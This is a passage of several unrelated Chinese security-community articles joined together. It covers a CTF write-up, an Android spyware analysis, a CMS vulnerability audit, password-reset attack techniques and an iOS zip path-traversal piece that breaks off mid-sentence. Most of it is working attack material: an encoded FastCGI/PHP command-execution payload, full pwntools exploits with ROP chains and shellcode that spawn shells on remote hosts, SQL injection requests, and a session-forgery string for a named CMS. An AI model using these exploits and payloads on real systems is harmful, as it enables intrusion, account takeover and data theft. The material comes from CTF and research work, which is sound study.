AQE2ugAIAAAAAQAAAAAAAAEENroB3AAADgNDT05URU5UX0xFTkdUSDI4MwwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4dAsEUkVNT1RFX1BPUlQ5OTg1CwlTRVJWRVJfTkFNRWxvY2FsaG9zdBELR0FURVdBWV9JTlRFUkZBQ0VGYXN0Q0dJLzEuMA8OU0VSVkVSX1NPRlRXQVJFcGhwL2ZjZ2ljbGllbnQLCVJFTU9URV9BRERSMTI3LjAuMC4xDxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocAsXU0NSSVBUX05BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocAkfUEhQX1ZBTFVFYXV0b19wcmVwZW5kX2ZpbGUgPSBwaHA6Ly9pbnB1dA4EUkVRVUVTVF9NRVRIT0RQT1NUCwJTRVJWRVJfUE9SVDgwDwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwAUVVFUllfU1RSSU5HDxZQSFBfQURNSU5fVkFMVUVhbGxvd191cmxfaW5jbHVkZSA9IE9uDQFET0NVTUVOVF9ST09ULwsJU0VSVkVSX0FERFIxMjcuMC4wLjELF1JFUVVFU1RfVVJJL3Zhci93d3cvaHRtbC9pbmRleC5waHABBDa6AAAAAAEFNroBGwAAPD9waHAgc3lzdGVtKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCJqWTdCQ3NJd0RJWmZKUlRCVlp6REhWZjFvaGRQRTlRSEtGdmNDclVyYWFjSVByenRISjQ4N0JLUy8vLytKQlpKUTRvdzd4M0NVNUpScG5FaURzNlRxdnpRSGsvN29pZ3RtbHpNM3JDRnRhamFXbEhDTXNiRi9RVXpxK29nZDVGSUZsM3Y4eVVzbEFtVnJUSkNXZCswYkJpSGpxQldPQ1FJclg2RnpDYlNPMkZKR1Evbnk2RzhYa1pUVElQaU1tbmNFeW1BK0pBNitUcDh4TU1id0g0SUUxRklkemZkdXpiaFlzcUpmOXFVM0JSbS9nRT0iKSkpOwEFNroAAAAACg==
之后让PHP连上php-fpm.sock并发将payload发过去即可：
<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');fputs($sock, base64_decode($_GET['xxxx']));var_dump(fread($sock, 4096));
最终Payload组合起来，如图所示。
## Crypto
### babyprng
通读代码. 可以知道要在随机序列stack中 取等量 1, 0 就可以得到flag.
提供了
保存 `\x00`
IF `\x01`
出栈 `\x02`
与 `\x03`
或 `\x04`
异或 `\x05`
向前跳
向后跳
获得等量 1, 0 序列可以采用 异或方式.
^ 1 1 => 1 0
^ 1 0 => 1 1
所以问题转化成如何使倒数第二位为1
这里采用的方式是 X Y
& X Y
| X Y
如果 Y 在运算后 依然为1, 则 X 必定为1. 写出流程
03 &
04 |
01 IF
13 False Jmp 7
00 True Save to out
05 ^
33 JMP 4
02 POP
39 JMP 0
exp
from pwn import *
import re
import hashlib
from base64 import b64encode
string.ascii_letters+string.digits
def solve_pow(arg1, arg2):
print (arg1, arg2)
for i0 in string.ascii_letters+string.digits:
for i1 in string.ascii_letters+string.digits:
for i2 in string.ascii_letters+string.digits:
for i3 in string.ascii_letters+string.digits:
i = i0+i1+i2+i3
hash = hashlib.sha256()
hash.update(str(i) + arg1.encode('utf-8'))
tmp = hash.hexdigest()
if tmp == arg2:
print (str(i))
return str(i)
p = remote("34.92.185.118","10002")
data = p.recvuntil('Give me XXXX:')
print(data)
regex = r"\+(.*)\) == (.*)"
test_str = data
matches = re.finditer(regex, test_str, re.MULTILINE)
for matchNum, match in enumerate(matches, start=1):
p.sendline(solve_pow(match.group(1), match.group(2)))
print(match.group(1), match.group(2))
print(p.recvuntil('opcode(hex):'))
p.sendline('030401130005330239')
print(p.recvline())
print(p.recvline())
print(p.recvline())
### babyprng2
与第一题类似. 多了一个队列, 并且每次保存都会出栈, 不能像第一题无脑循环.
按 题1 思路, 依然是需要一个 1.
有以下循环
| 1 ? => 1 1
两次后可以得到 1 1 1
1 1 1 出 1
| 1 1 => 1 0 出 0
1 跳到第一步
最后payload为
01111206350606080306013606060803000400053a
## Misc
### She
使用cheat engine工具
修改存档打败boss后
9个房间每次开一个只能打开一个门，有一个bad
door在touch后不能打开其他门，经测试在3号门得到数字3，在8号门得到数字7，在2号门得到数字1，在1号门得到数字2，在5号门得到数字6，在7号门得到数字9，9号门是bad
door。剩下两个门打不开。得到六个数字后可进入一个房间，找到镜子。
人在镜子右边，说的是md5 decrypt
后来发现人站在镜子左边
镜子说的话又变了
猜测右边的是迷惑人的。
按得到的数字371269加密后发现不对，根据题目提示，Please combine numbers in the order of the
rooms，改为213697进行md5加密，得到flag.
### otaku
ichunqiu级别，无语凝噎。
`binwalk
-e`直接解zip，把doc转docx接着解压提取出里面的隐藏字符，用GBK保存到文本文件。之后已知明文攻击提取密码My_Waifu，最后LSB隐写。
## pwn
### quick sort
#### 利用思路：
gets覆盖ptr，导致任意写，修改free@got为main，将ptr修改为可泄露地址进行泄露，再次执行劫持`atoi@got`为`system`
from pwn import *
def main():
# gdb.attach(p,"b *0x080488ED")
# set free --> main
got_free = 0x804a018
main_addr = 0x80489C9
payload = str(main_addr)
payload = payload.ljust(16,"\x00")
payload += p32(1)+p32(0)*2+p32(got_free)
p.recvuntil("how many numbers do you want to sort?")
p.sendline("1")
p.recvuntil("the 1th number:")
p.sendline(payload)
#leak libc
stderr = 0x804a060
p.recvuntil("how many numbers do you want to sort?")
p.sendline("2")
p.recvuntil("the 1th number:")
payload = "-"+str(0x7fffffff)
payload = payload.ljust(16,"\x00")
payload += p32(2)+p32(0)*2+p32(stderr-4)
p.sendline(payload)
p.recvuntil("the 2th number:")
payload = "0"
payload = payload.ljust(16,"\x00")
payload += p32(2)+p32(11)*2+p32(stderr)
p.sendline(payload)
p.recvuntil("Here is the result:\n")
libc_base = int(p.recvuntil(" ",drop=True))+0x100000000-0x1b2cc0
info("libc : " + hex(libc_base))
#atoi --> system
p.recvuntil("how many numbers do you want to sort?")
p.sendline("1")
p.recvuntil("the 1th number:")
payload = str(libc.symbols["system"]+libc_base-0x100000000)
payload = payload.ljust(16,"\x00")
payload += p32(1)+p32(0)*2+p32(elf.got["atoi"])
p.sendline(payload)
p.recvuntil("how many numbers do you want to sort?")
p.sendline("1")
p.recvuntil("the 1th number:")
p.sendline("/bin/sh")
p.interactive()
if __name__ == "__main__":
# p = process("./quicksort",env={"LD_PRELOAD":"./libc.so.6"})
p = remote("34.92.96.238","10000")
# p = process("./quicksort")
elf = ELF("./quicksort")
libc = ELF("./libc.so.6")
main()
### grilfriend
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 0
libc_path = "./lib/libc.so.6"
if local:
p = process("./chall_patch",env={"LD_PRELOAD":libc_path})
context.binary = "./chall_patch"
elf = context.binary
libc = elf.libc
else:
p = remote("34.92.96.238", 10001)
libc = ELF(libc_path)
def new(size,content):
p.sendlineafter("Input your choice:",'1')
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.sendline(content)
p.recvuntil("call:\n")
p.sendline('0'*11)
def show(index):
p.recvuntil("choice:")
p.sendline('2')
p.recvuntil("index:\n")
p.sendline(str(index))
def delete(index):
p.recvuntil("choice:")
p.sendline('4')
p.recvuntil("index:\n")
p.sendline(str(index))
chunk_list = 0x202060
new(0x500,'a'*8)
new(0x60,'b'*8)
new(0x60,'b'*8)
new(0x60,'b'*8)
new(0x60,'b'*8)
delete(0)
show(0)
libc_base = (u64(p.recvuntil("phone:",drop=True)[-7:-1].ljust(8,"\x00"))) - 0x3b1ca0
success("libc_base->{:#x}".format(libc_base))
delete(1)
delete(3)
show(3)
heap_base = u64(p.recvuntil("phone:",drop=True)[-7:-1].ljust(8,"\x00")) - 0x7b0
success("heap_base->{:#x}".format(heap_base))
for i in range(10):
new(0x68,'a'*8)
for i in range(10):
delete(i+4)
delete(12)
#------------- for i in range(7):
new(0x68,'a')
new(0x68,p64(libc_base + 0x3b38c8)) ##free_hook
new(0x68,"/bin/sh\x00")
new(0x68,p64(libc_base + 0x41c30)) ## system
# gdb.attach(p,'''b malloc\nb free\nb* $0xF87''')
new(0x68, p64(libc_base + 0x41c30))
delete(13)
p.interactive()
### upxofcpp
**思路**
upx加壳，主程序空间可读可写可执行
free的时候没有清空指针
node结构体中存在指向函数调用的 _func_table,通过构造使得_
func_table指到堆，使得*func_table的show函数指向堆上，在show函数指向的堆上构造shellcode
from pwn import *
context.update(os='linux', arch='amd64')
# p = process('./upxofcpp',env = {'LD_PRELOAD':'./libc-2.23.so'})
p = remote('34.92.121.149', 10000)
def new(idx,size,intg):
string = ''
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:',str(idx))
p.sendlineafter('Size:',str(size))
for i in range(size):
string += str(intg)+'\n'
print string
p.sendafter('Input '+str(size)+' integers, -1 to stop:',string)
def free(idx):
p.sendlineafter('Your choice:','2')
p.sendlineafter('vec index:',str(idx))
def show(idx):
p.sendlineafter('Your choice:','4')
p.sendlineafter('index:',str(idx))
new(0,2,2)
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:','1')
p.sendlineafter('Size:',str(6))
'''
push rax
pop rsi
push rcx
push rcx
pop rax
pop rdi
syscall
'''
payload = '0\n'*2 + str(0x51515e50)+'\n' + str(0x53415f58)+'\n' + str(0x00050f5a) +'\n' + str(0xdead)+'\n'
p.sendafter('Input 6 integers, -1 to stop:',payload)
new(2,2,2)
free(1)
new(3,8,2)
free(0)
# gdb.attach(p,'c\n')
show(0)
p.send('\x90'*0x90 + asm(shellcraft.sh()))
p.interactive()
### heap_master
**注意**
* libc是2.25的
* 远程没有bin目录，只能在程序内orw
**利用思路**
large bin attack 修改`_IO_2_1_stdout_`，导致泄露，之后再次large bin
attack修改`_IO_list_all`获得一次任意地址call，从而将栈迁移到mmap的内存上，执行事先布置的ropchain
from pwn import *
context.update(os='linux', arch='amd64')
def g(off):
return libc.address + off
def _add(p, size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def _edit(p, off, cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def _del(p, off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exploit(host, port=60001):
if host:
p = remote(host, port)
guess = 0x40
else:
p = process('./heap_master', env={'LD_PRELOAD':libc_path})
gdb.attach(p, 'source ./gdb.script')
guess = int(raw_input('guess?'), 0x10) << 4
# guess = 0x50
add = lambda x: _add(p, x)
edit = lambda x,y: _edit(p, x, y)
free = lambda x: _del(p, x)
stdout = ((guess|6)<<8)# + 0x20
offset = 0x8800-0x7A0
edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))
free(offset+0x10) #p1
free(offset+0x10+0x360) #p2
add(0x90)
edit(offset+8+0x360, p64(0x101)*3)
edit(offset+8+0x460, p64(0x101)*3)
edit(offset+8+0x560, p64(0x101)*3)
free(offset+0x10+0x370)
add(0x90)
free(offset+0x10+0x360)
add(0x90)
edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #p2->bk
edit(offset+8+0x360+0x18, p64(0) + p16(stdout)) #p2->bk_nextsize
free(offset+0x10+0x360+0x440) #p3
add(0x90)
p.recv(0x10)
heap = u64(p.recv(8)) - 0x83c0
info('heap @ '+hex(heap))
libc.address = u64(p.recv(8)) - 0x39e5f0# + 0x1fe0
info('libc.address @ '+hex(libc.address))
# yet another large bin attack
offset = 0x100
edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x511)) #p3
edit(offset+8+0x360+0x540+0x510, p64(0x31))
edit(offset+8+0x360+0x540+0x540, p64(0x31))
free(offset+0x10) #p1
free(offset+0x10+0x360) #p2
add(0x90)
edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_IO_list_all']-0x10) + p64(0) + p64(libc.sym['_IO_list_all']-0x20))
free(offset+0x10+0x360+0x540) #p3
add(0x200)
# trigger on exit()
pp_j = g(0x10fa54) # pop rbx ; pop rbp ; jmp rcx
p_rsp_r = g(0x3870) # pop rsp ; ret
p_rsp_r13_r = g(0x1fd94) # pop rsp ; pop r13 ; ret
p_rdi_r = g(0x1feea) # pop rdi ; ret
p_rdx_rsi_r = g(0xf9619) # pop rdx ; pop rsi ; ret
fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)
_IO_str_jump = p64(libc.address + 0x39A500)
orw = [
p_rdi_r, heap,
p_rdx_rsi_r, 0, 0,
libc.sym['open'],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['read'],
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['write'],
]
edit(0, './flag\x00\x00' + flat(orw))
edit(offset+0x360+0x540, fake_IO_strfile)
edit(offset+0x360+0x540+0xD8, _IO_str_jump)
edit(offset+0x360+0x540+0xE0, p64(pp_j))
info('b *'+hex(pp_j))
p.sendlineafter('>> ', '0')
p.interactive()
if __name__ == '__main__':
libc_path = './lib/libc.so.6'
libc = ELF(libc_path)
exploit(args['REMOTE'])
### blindpwn
BROP
溢出偏移是40
爆破可用的gadget
from pwn import *
# context.log_level = 'debug'
padding = "a"*40
def find_gadget(addr):
fd = open("gadget.txt",'a')
fd.write(hex(addr)+'\n')
fd.close()
for addr in range(0x400000,0x401AA0,0x1):
p = remote("34.92.37.22",10000)
p.recvuntil("pwn!\n")
passwd = padding + p64(addr)
log.info("now addr is " + hex(addr))
p.sendline(passwd)
try:
msg = p.recvrepeat(9)
if(msg!= ""):
log.success("find addr" + hex(addr))
print msg
find_gadget(addr)
addrs.append(addr)
p.close()
except EOFError as e:
p.close()
log.info("connection close at " + hex(addr))
print addrs
leak 脚本↓
from pwn import *
context.update(os='linux', arch='amd64')
def leak(off):
p = remote('34.92.37.22', 10000)
rop = [
p_rdi_r, 0,
p_rsi_r13_r, 0x400000+off, 0,
0x400515,
]
p.sendafter('pwn!\n', 'A'*40 + flat(rop))
data = p.recv(0x100)
p.close()
return data
if __name__ == '__main__':
p_rdi_r = 0x40077a+9
p_rsi_r13_r = 0x40077a+7
for x in xrange(0, 0x1000, 0x100):
fp = open('blind', 'a')
fp.write(leak(x))
fp.close()
拿到elf文件之后，直接找到几个可用的gadgets进行利用
from pwn import *
context.update(os='linux', arch='amd64')
def v(x):
return x+0x400000
def exploit(host='34.92.37.22', port=10000):
p = remote(host, port)
rop = [
p_rdi_r, 1,
p_rsi_r15_r, 0x601018, 0,
write_plt,
p_rdi_r, 0,
p_rsi_r15_r, 0x601030, 0,
read_plt,
p_rdi_r, 0x601038,
v(0x550),
]
p.sendafter('pwn!\n', 'A'*40 + flat(rop))
write = u64(p.recv(8))
setbuf = u64(p.recv(8))
read = u64(p.recv(8))
__libc_start_main = u64(p.recv(8))
libc.address = read - libc.sym['read']
info('libc @'+hex(libc.address))
p.send(p64(libc.sym['system']) + '/bin/sh\x00')
p.sendline('cat flag')
p.interactive()
if __name__ == '__main__':
libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')
write_plt = v(0x520)
read_plt = v(0x540)
p_rdi_r = v(0x783)
p_rsi_r15_r = v(0x781)
exploit()
# *CTF{Qri2H5GjeaO1E9Jg6dmwcUvSLX8RxpI7}
### babyshell
from pwn import *
context.update(os='linux', arch='amd64')
def exploit(host, port=10002):
if host:
p = remote(host, port)
else:
p = process('./shellcode')
gdb.attach(p, '''
b *0x00000000004008CB
c
''')
sc = asm('''
pop rdx
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
syscall
''')
p.sendafter('plz:', sc)
p.send('\x90'*0x100 + asm(shellcraft.sh()))
p.interactive()
if __name__ == '__main__':
exploit(args['REMOTE'])
# *CTF{LtMh5VbedHlngmKOS2cwWRo4AkDGzCBy}
## RE
### fanoGo
程序逻辑：以corpus.txt的内容作为table，要求将输入经过fano.(*Fano).Decode后等于
`If you cannot read all your books...fondle them---peer into them, let them
fall open where they will, read from the first sentence that arrests the eye,
set them back on the shelves with your own hands, arrange them on your own
plan so that you at least know where they are. Let them be your friends; let
them, at any rate, be your acquaintances.`
直接复用程序中的fano.(*Fano).Encode，将上面的数据编码得到密文
from pwn import *
context.update(os='linux', arch='amd64')
# p = process('./fanoGo')
p = remote('34.92.37.22', 10001)
ans = [
0x82c2b7c2bec3602b,
0x2a87c25b95c389c2,
0x6fbdc35196c21369,
0x94c27492c35a2832,
0xa4c296c295c294c2,
0xb3c28ec3a3c28ac3,
0x46aec2bac2242424,
0x2332abc33cacc22b,
0xc3acc2b3c3b0c32a,
0xc26ba3c22c87c285,
0xc3a8c25c87c30fad,
0x12b9c3a1c3afc2b3,
0x91c2a6c272448ac3,
0x676451a7c3316d66,
0x5191c296c26b7578,
0x7b578ec3133ea7c3,
0xc311297f459dc247,
0x8ac259a7c3a1c395,
0xfb5c291c28cc206,
0xc38bc3bac28ec23a,
0x718ec2bcc3a8c3aa,
0x42b9c336326fbdc3,
0xc3792292c349a7c3,
0x6396c3795493c389,
0x6f23b3c396c31f6a,
0x76a8c394c23794c2,
0xadc23f7c8ec383c3,
0x7baac20c9fc2a0c3,
0x7eb0c3adc22683c3,
0x97f9dc247a5c33a,
0xafc2b0c24449a5c3,
0xbdc351508cc33a0f,
0x49272d8cc32c326f,
0xc2b3c3b0c32aa3c3,
0xc2b0c389c288c3ac,
0x4111299fc21c7e9d,
0xc288c3bcc2b5c347,
0xb8c2a2c3b0c3389a,
0x5092c315a9c3,
]
# gdb.attach(p, '''
# b *0x000000000045C4F0
# # command
# # set $rip=0x000000000045C970
# # fin
# # end
# c
# ''')
p.sendafter(':', flat(ans)[:0x136])
p.interactive()
# *CTF{NUY4a3E5D9186hVzejoyItr7xHBcmOpv} | 社区文章 |
# Google Play上的Android/FoulGoal.A间谍软件分析
##### 译文声明
本文是翻译文章，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/>
译文仅供参考，具体内容表达以及含义原文为准。
目前英国球迷们正热情地享受着英国队在世界杯上的表现，伴随着[“Three
Lions”](https://www.youtube.com/watch?v=RJqimlFcJsM)的旋律在脑中不断回响，他们热切地盼望着英国队52年的悲痛历史可以在今年终结。但与此同时，最近在Google
Play上发布的间谍软件已经对精彩的世界杯的粉丝造成了不小的损害。使用重大事件进行社工并不是什么新鲜事，因为网络钓鱼的电子邮件经常利用灾难和体育赛事来吸引受害者。
“Golden Cup”是一个会在受害者设备上安装间谍软件的恶意应用程序。它通过Google
Play发布，并“提供”直播和对所有世界杯记录的搜索功能。McAfee Mobile Security将此威胁识别为了Android/FoulGoal.A;
目前Google已将其从Google Play中删除。
用户一旦安装了Golden
Cup，它就会伪装成一个典型的体育类应用程序，具有多媒体内容和有关世界杯的一些普通信息，大多数此类数据都来自没有恶意活动的Web服务。但是，在后台并且未经用户同意的情况下，应用程序会偷偷地将信息传输到另一台服务器。
## 捕获的数据
Golden Cup从受害者的设备中捕获大量的加密数据：
* 电话号码
* 已安装的包
* 设备型号、制造商、序列号
* 可用的内部存储容量
* 设备ID
* Android版本
* IMEI，IMSI
此间谍软件可能只是更大感染活动的第一阶段，因为它具有从远程源加载dex文件的能力，该应用程序会连接到其控制服务器，并尝试下载、解压缩和解密第二阶段。
Android/FoulGoal.A检测屏幕何时打开或关闭，并将其记录在其内部文件scrn.txt中，字符串“on”和“off”表示其被用来追踪用户查看屏幕的时间：
设备和恶意服务器之间的通信通道使用了消息队列遥测传输协议（MQTT）来发送和接收命令。
## 数据加密
用户数据在被发送到控制服务器之前使用了AES加密。Cryptor类提供加密和解密功能。doCrypto函数被定义为常用函数。作为函数的第一个参数，“1”表示加密，“2”表示解密模式：
加密密钥是使用SecureRandom函数动态生成的，SecureRandom函数会在设备上生成唯一值，以对数据进行混淆处理。addKey函数则将加密密钥嵌入到加密数据中，最后带密钥的数据再被上传到控制服务器。
我们认为恶意软件作者使用了此AES加密技术来上传所有信息，这有助于躲避Google Bouncer和网络检测产品的检测。
我们的初步分析表明至少有300次感染，我们怀疑是在6月8日至12日之间，也就是在第一次世界杯比赛开始之前。
## 第二阶段
攻击的第二阶段利用加密的dex文件，该文件扩展名为.data，由第一阶段恶意软件下载并动态加载，它使用了与上传加密文件时相同的提取机制，可以从内容的大小和第一级恶意软件中的固定号码来识别解密密钥的位置。
解密过后，我们可以看到压缩格式的out.dex，而这个dex文件具有间谍功能，可以从受感染的设备窃取SMS消息、联系人、多媒体文件和设备位置。
第二阶段的控制服务器与第一阶段的控制服务器不同，而远程服务器上的加密方法和服务器文件夹结构则与第一阶段相同。
我们在控制服务器上的加密数据中找到了一个受害者的GPS位置信息和录制的音频文件（.3gp）。
## 变种
我们还发现了由此威胁的作者创建的另外两个同类型变种，它们被作为约会应用程序发布到Google Play上。虽然所有应用程序都已从Google
Play中删除，但我们仍然可以看到我们的遥测数据感染的迹象，因此我们知道这些应用程序在某些用户的设备上仍处于活跃状态。
我们的遥测数据显示，虽然全球用户都下载了该应用程序，但大多数下载都发生在中东，很可能是因为一条希伯来语的世界杯主题的Twitter帖子诱导了用户下载该应用程序以关注世界杯的最新进展信息。
McAfee Mobile Security用户可以免受被检测为Android / FoulGoal.A的此威胁的所有变种的侵害。
审核人：yiwang 编辑：边边 | 社区文章 |
# 一、环境搭建
访问install目录，按照步骤搭建cms
# 二、后台文件上传漏洞
admin/upload.php中存在文件上传功能up_img中比较关键的变量有两个$file和$type
$file:上传的文件
$type:允许上传的文件类型
判断转换为小写的$file_type是不是存在$type中，如果不存在则报错。
这里上传点的逻辑总结下来就是：
校验上传文件的content-type字段，如果content-type字段是允许上传的类型，则上传成功，否则上传失败。
所以这里我们只要在数据包中修改content-type字段，就可以绕过上传校验，上传webshell
访问admin/upload.php
# 三、后台SQL注入
admin/admin_book.php存在SQL注入漏洞，具体漏洞代码和函数如下：通过GET方式获取可控参数id，没有经过任何过滤就直接拼接到SQL语句中了，由此造成了SQL注入漏洞。具体漏洞数据包如下：
GET /BEES_V4.0/admin/admin_book.php?action=del&id=1*HTTP/1.1
Host: 192.168.55.14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: phpbb3_8kp69_u=1; phpbb3_8kp69_k=; phpbb3_8kp69_sid=7fea69e0143764f5e5d6e066aee94094; PHPSESSION=oi4s83qrcrv7cjehiais4miae4; think_template=default; first_look=1; UM_distinctid=17a569fa3a69f9-0a9a288d7e577e-34657400-168000-17a569fa3a73c0; CNZZDATA1257137=cnzz_eid%3D1861184543-1624946181-%26ntime%3D1624946181; Hm_lvt_b60316de6009d5654de7312f772162be=1624956704; LankeMobile=p; Hm_lvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1624966138; Hm_lpvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1625109751; Hm_lpvt_b60316de6009d5654de7312f772162be=1625123375; PHPSESSID=55nfe713q0d6qvsfera2r5m8h4
Connection: close
# 四、后台SQL注入
在admin/admin_catagory.php中由于参数过滤不严格造成SQL注入漏洞，具体代码如下：定位到$parent的传入方式，可以发现将参数$parent拼接到SQL语句的过程中没有经过任何过滤，所以可以利用SQL注入漏洞进行攻击，具体数据包如下：
GET /BEES_V4.0/admin/admin_catagory.php?action=child&channel_id=1&parent=1+union+select+database() HTTP/1.1
Host: 192.168.55.14
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: phpbb3_8kp69_u=1; phpbb3_8kp69_k=; phpbb3_8kp69_sid=7fea69e0143764f5e5d6e066aee94094; PHPSESSION=oi4s83qrcrv7cjehiais4miae4; think_template=default; first_look=1; UM_distinctid=17a569fa3a69f9-0a9a288d7e577e-34657400-168000-17a569fa3a73c0; CNZZDATA1257137=cnzz_eid%3D1861184543-1624946181-%26ntime%3D1624946181; Hm_lvt_b60316de6009d5654de7312f772162be=1624956704; LankeMobile=p; Hm_lvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1624966138; Hm_lpvt_7cf3de2cfbf4c73be2a689ad7a6aacfa=1625109751; Hm_lpvt_b60316de6009d5654de7312f772162be=1625123375; PHPSESSID=8od23fjvreubqplscq49pbpmd7; rememberMe=1
Connection: close
# 五、任意用户登陆把后台文件上传变为前台文件上传
之前搞了一个后台文件上传，想要利用必须要进后台才可以，利用难度较大，看看能不能把后台上传变为前台上传。所以我们需要搞清楚后台是如何校验我们的身份的？
admin/upload.php中包含了init.php
变量就会被初始化掉。-$_SESSION[login_time]小于3600就证明用户身份存在。构造payload
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=999999999
成功访问后台上传口 | 社区文章 |
**分享一下平时实战中密码重置的姿势**
**因为都是找的实战案例(尽量避免"云渗透")，可能姿势不全(水平有限，如果有缺有错，师傅们多带带)
任意密码重置姿势.jpg**
**1.重置凭证泄露**
很好理解，短信验证码，重置链接等一系列用于重置密码过程认证的值在burp返回包响应泄露。
以上两个案例分别泄露了短信验证码与邮箱重置链接
**2.重置接收端可控**
若服务端接受的手机号/邮箱是从客户端获取的话，那么就可以修改接收端，让重置信息发给自己手机或是邮箱。
输入admin账号后，服务端返回手机号给前端，获取验证码时，服务端又从前端获取手机号码
**3.重置元素弱关联**
一次重置过程需要哪些参数参与呢？用户标识/接收端/步骤
**用户标识：cookie/username/sid**
cookie混淆流程：找回密码时，未登录的cookie本地值不变，可关联多个账号，使用攻击者账号(自己注册的)走完找回密码流程，提交修改密码时截断。用一个新的账号(目标账号)发起流程，然后cookie就会关联目标账号，重放之前的包，就会修改目标账号的密码。
username/sid混淆：修改密码时若是数据包存在类似username=张三&new_pwd=123456的数据包。可替换username=admin&new_pwd=123456，类似修改密码的越权操作吧。
这两个姿势自己没在实战中遇见，就只能云了。
接收端的弱关联：之前遇见一个案例，重置密码需要账号名，身份证号，手机号同时正确才能修改密码。实际上前两个正确就行了。
**步骤跳过：**
这个案例遇见的特别多，当修改密码的操作被才拆分为step1，step2，step3时，我们就可以通过修改响应的状态码来欺骗前端来跳过重置的流程。(响应成功的状态码通常可以在页面的js文件中找)
**4.重置凭证未校验**
为了防止步骤的跳过，通常最后一步会是这样username=张三&new_pwd=123456&token=11223344，会带一个验证参数，验证参数正确。密码才会修改，这时删除cookie，删除验证参数或许有用。
**5.重置凭证可爆破，可预测**
可爆破：如果验证码是4位数字，有效期时间足够，而且未设置试错次数的话，可burp直接爆破。
可预测：通过观察token生成的规律，自己伪造，这里面的东西又多了.....
这里再分享两个不同的案例：
**案例一：**
当我正确输入用户名，身份证号时会把验证码正确和错误的页面一同返回给我。
哈哈这里还有个CSRF。
**案例二：**
通过在js中找到的未授权的方法，可写入任意用户的资料(改预留手机号)来实现任意用户密码重置。
**案例三：**
信息泄露导致密码重置，哈哈
**End.....** | 社区文章 |
> 蒸米，白小龙 @ 阿里基础安全研究
> 授权发布
## 0x00 序
盘古实验室在针对不同客户的iOS应用安全审计过程中，发现了一类通用的安全漏洞。该漏洞被发布在了[1]。经过盘古的分析，确认微博、陌陌、网易云音乐、QQ音乐、快手等流行应用受影响，另外还有大约10%的iOS应用应用可能受此漏洞的影响。
根据漏洞名称大概可以猜测出与zip文件有关，查询iOS上与解压相关资料可以看到，iOS并没有提供官方的unzip API函数，基本上现有的iOS
app都是使用的SSZipArchive或ziparchive这两个第三方库来实现解压的功能。随后根据盘古在SSZipArchive项目的issue中提交的漏洞报告[2]可以大概确定漏洞原理是：使用第三方zip库在解压zip文件过程中没有考虑文件名中带有”../../”这样的情况，从而产生了目录穿越漏洞。因此，如果一个iOS
应用下载了恶意的zip文件，并且使用ziparchive库解压，利用漏洞可以做到app
container目录下的任意文件覆盖，如果覆盖了应用重要的文件会造成应用崩溃（DOS），如果覆盖了app的hotpatch文件则会造成代码执行。
## 0x01 构造恶意的ZIP文件（POC）
（因为很多app并没有修复该漏洞，因此POC暂不公布，想要了解细节的同学可以联系阿里巴巴SRC）
## 0x02 复现攻击
正常情况下，应用会在启动或者某些情况下会执行hotpatch的js脚本。在我们用来demo的应用中需要点击一下”Run Hotpatch”来运行js脚本：
点击完后，应用会加载自己目录下的“/Library/Caches/hotpatch/patch.js”并执行：
随后我们点击“Download and
